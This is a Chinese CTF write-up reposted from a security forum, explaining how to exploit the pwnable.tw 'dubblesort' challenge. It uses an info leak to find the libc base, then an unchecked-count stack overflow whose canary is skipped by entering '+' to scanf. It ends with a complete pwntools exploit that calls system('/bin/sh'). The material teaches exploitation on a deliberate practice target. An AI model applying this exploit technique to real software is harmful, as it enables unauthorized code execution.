pwnable.tw新手向write up(三) dubblesort-多重保护下的栈溢出
2020-05-06 19:26:50 Author: bbs.pediy.com(查看原文) 阅读量:275 收藏

[原创]pwnable.tw新手向write up(三) dubblesort-多重保护下的栈溢出

3小时前 68

[原创]pwnable.tw新手向write up(三) dubblesort-多重保护下的栈溢出

往期

pwnable.tw新手向write up(一)
pwnable.tw新手向write up(二) 3×17-x64静态编译程序的fini_array劫持

  • 看一下防护,全开了

      [0] % checksec dubblesort
      [*] '/home/dylan/desktop/pwnable_tw/dubblesort/dubblesort'
          Arch:     i386-32-little
          RELRO:    Full RELRO
          Stack:    Canary found
          NX:       NX enabled
          PIE:      PIE enabled
          FORTIFY:  Enabled
    
  • IDA看一下程序结构,其实简单的很.大体就是一个输入几个数字然后冒泡排序并打印.以下为溢出点:

      __printf_chk(1, "What your name :");
        read(0, &name_buf, 0x40u);                    // no null
        __printf_chk(1, "Hello %s,How many numbers do you what to sort :", &name_buf);
        __isoc99_scanf("%u", &number_count);
        eax_number_count = number_count;
        if ( number_count )                           // did not check number_count = stack overflow
        {
          number_buf_ptr = &number_buf;
          index = 0;
          do
          {
            __printf_chk(1, "Enter the %d number : ", index);
            fflush(stdout);
            __isoc99_scanf("%u", number_buf_ptr);
            ++index;
            eax_number_count = number_count;
            ++number_buf_ptr;
          }
          while ( number_count > index );
        }
    

    读取名字的时候并没有进行截断,会造成信息泄露.其次在数字的数量上并没有限制,又因为数字是保存在栈上的,所以我们获得了栈溢出.

  • 利用方法

    • 用gdb断在输出姓名那一行代码上,观察栈的构造,看有没有重要信息可供泄露.

      ► 0x56555a18 <main+85>     call   read@plt <0x56555630>
            fd: 0x0
            buf: 0xffffd54c ◂— 0xaf17
            nbytes: 0x40
      
      0f:003c│ esi  0xffffd54c ◂— 0xaf17
      10:0040│      0xffffd550 —▸ 0xffffd783 ◂— '/home/dylan/desktop/pwnable_tw/dubblesort/dubblesort'
      11:0044│      0xffffd554 ◂— 0x2f /* '/' */
      12:0048│      0xffffd558 —▸ 0x56555034 ◂— push   es
      13:004c│      0xffffd55c ◂— 0x16
      14:0050│      0xffffd560 ◂— 0x8000
      15:0054│      0xffffd564 —▸ 0xf7fb6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
      

      我们可以看到栈的下方偏移为6的地方存有GOT表,我们可以泄露这个地址,然后获得libc加载的基地址.接着readelf获得libc.so文件中got的偏移(省略了无关信息)

      [127] % readelf -S libc.so.6
      共有 68 个节头,从偏移量 0x1b0cc8 开始:
      
      节头:
      [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
      ......
      [31] .got.plt          PROGBITS        001b0000 1af000 000030 04  WA  0   0  4
      ......
      

      现在只要我们泄露GOT的地址,再减去偏移地址0x001b0000,就得到了libc.so文件的加载地址.

    • 得到libc基地址就可以计算出system函数以及'/bin/sh'字符串所在的地址,现在目标地址以及有了,只需要控制eip就可以了.这个溢出也很简单,只要用scanf覆盖返回地址就可以了,但这个题最难搞定的点就在这里,他开了Canary检测,如果我们想要覆盖返回地址,那就会覆盖Canary,导致溢出失败,所以要先想办法解决Canary.

      我最先想到的是非法输入,scanf读取的是一个%u,我们随便输一个字符,但是读取数字的这个循环只对stdout进行了清空,而没有对输入进行清空,所以这个非法输入会导致后面的输入也全都无效,自然不能覆盖返回地址.

      //非法输入的结果
      [0] % ./dubblesort
      What your name :0x2l
      Hello 0x2l,How many numbers do you what to sort :10
      Enter the 0 number : 1
      Enter the 1 number : 2
      Enter the 2 number : 3
      Enter the 3 number : 4
      Enter the 4 number : 5
      Enter the 5 number : fuck
      Enter the 6 number : Enter the 7 number : Enter the 8 number : Enter the 9 number : Processing......
      Result :
      0 1 2 3 4 5 1815246896 4160405504 4292118532 4292118538 %
      

      那有没有一个既合法又不会改变数值的输入呢?有,那就是'+'和'-'.这两个符号可以定义正负,所以会被识别为合法输入,但是仅凭一个加号或者减号scanf又无法获得有效数值,所以这次输入是"合法且无效的",正好满足我们对Canary所在地址的操作.和非法输入不同的是,上一次无效的scanf并不会影响接下来的scanf,scanf识别不到有效数据的话会继续中断等待我们的输入.这样,我们可以肆意修改栈上的数据,只要在Canary地址处输入一个'+'来跳过他.

    • 现在所有需要的东西都已经具备了,可以开始构建我们的payload了.

      先看一下程序开头那一堆变量:

      int eax_number_count;         // eax
      int *number_buf_ptr;             // edi
      unsigned int index;             // esi
      unsigned int index_1;         // esi
      int result;                     // eax
      unsigned int number_count;     // [esp+18h] [ebp-74h]
      int number_buf;                 // [esp+1Ch] [ebp-70h]
      char name_buf;                 // [esp+3Ch] [ebp-50h]
      unsigned int canary;             // [esp+7Ch] [ebp-10h]
      

      number_buf就是我们保存输入数字的地方,而canary的相对偏移为0x60,canary相对返回地址的偏移为0x1c.返回地址之后我们还需要再填充一个返回地址(随便写)和'/bin/sh'的地址作为参数.

  • exp

      # -*- coding: utf-8 -*-
      from PwnContext.core import *
      local = False
    
      # Set up pwntools for the correct architecture
      exe = './' + 'dubblesort'
      elf = context.binary = ELF(exe)
      ctx.custom_lib_dir = '/home/dylan/glibc-all-in-one/libs/2.23-0ubuntu10_i386'
    
      #don't forget to change it
      host = args.HOST or 'chall.pwnable.tw'
      port = int(args.PORT or 10101)
    
      #don't forget to change it
      #ctx.binary = './' + 'dubblesort'
      ctx.binary = exe
      libc = args.LIBC or 'libc.so.6'
      elf_libc = ELF(libc)
      ctx.debug_remote_libc = True
      ctx.remote_libc = libc
      if local:
          context.log_level = 'debug'
          try:
              io = ctx.start()
          except Exception as e:
              print(e.args)
              print("It can't work,may be it can't load the remote libc!")
              print("It will load the local process")
              io = process(exe)
      else:
          io = remote(host,port)
      #===========================================================
      #                    EXPLOIT GOES HERE
      #===========================================================
    
      # Arch:     i386-32-little
      # RELRO:    Full RELRO
      # Stack:    Canary found
      # NX:       NX enabled
      # PIE:      PIE enabled
      # FORTIFY:  Enabled
      def exp():
          # leak libc_base
          io.sendline('a' * 24) # sendline will send a '\n' to cover 0x00
          io.recvuntil('a' * 24)
          libc_base = (u32(io.recvn(4)) & 0xffffff00) - 0x001b0000
          log.success('libc_base = ' + hex(libc_base))
    
          system_off = elf_libc.symbols['system']
          log.success('system_addr = ' + hex(libc_base+system_off))
          bin_sh_off = next(elf_libc.search('/bin/sh\0'))
          log.success('bin_sh_addr = ' + hex(libc_base+bin_sh_off))
    
          # stack overflow
          io.sendline(str(35))    # number_count
    
          for i in range(24):     # junk
              io.sendlineafter('number : ', str(1))
    
          io.sendlineafter('number : ', '+') # canary
    
          for i in range(9):      
              io.sendlineafter('number : ', str(libc_base+system_off))    # return address
    
          io.sendlineafter('number : ', str(libc_base+bin_sh_off))    # /bin/sh
    
      if __name__ == '__main__':
          exp()
          io.interactive()
    
  • 关于我

    blog:https://0x2l.github.io/

[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!


文章来源: https://bbs.pediy.com/thread-259341.htm
如有侵权请联系:admin#unsafe.sh